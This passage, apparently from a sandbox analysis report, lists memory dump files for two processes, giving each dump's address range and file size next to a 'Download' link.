memory/2720-18-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download
memory/2720-19-0x00000000025D0000-0x00000000025D8000-memory.dmp

Filesize
32KB

Download
memory/2720-22-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-25-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2720-26-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-20-0x000007FEF4C80000-0x000007FEF561D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-23-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2720-21-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2896-41-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-36-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2896-35-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-38-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2896-40-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2896-39-0x000000000288B000-0x00000000028F2000-memory.dmp

Filesize
412KB

Download
memory/2896-37-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download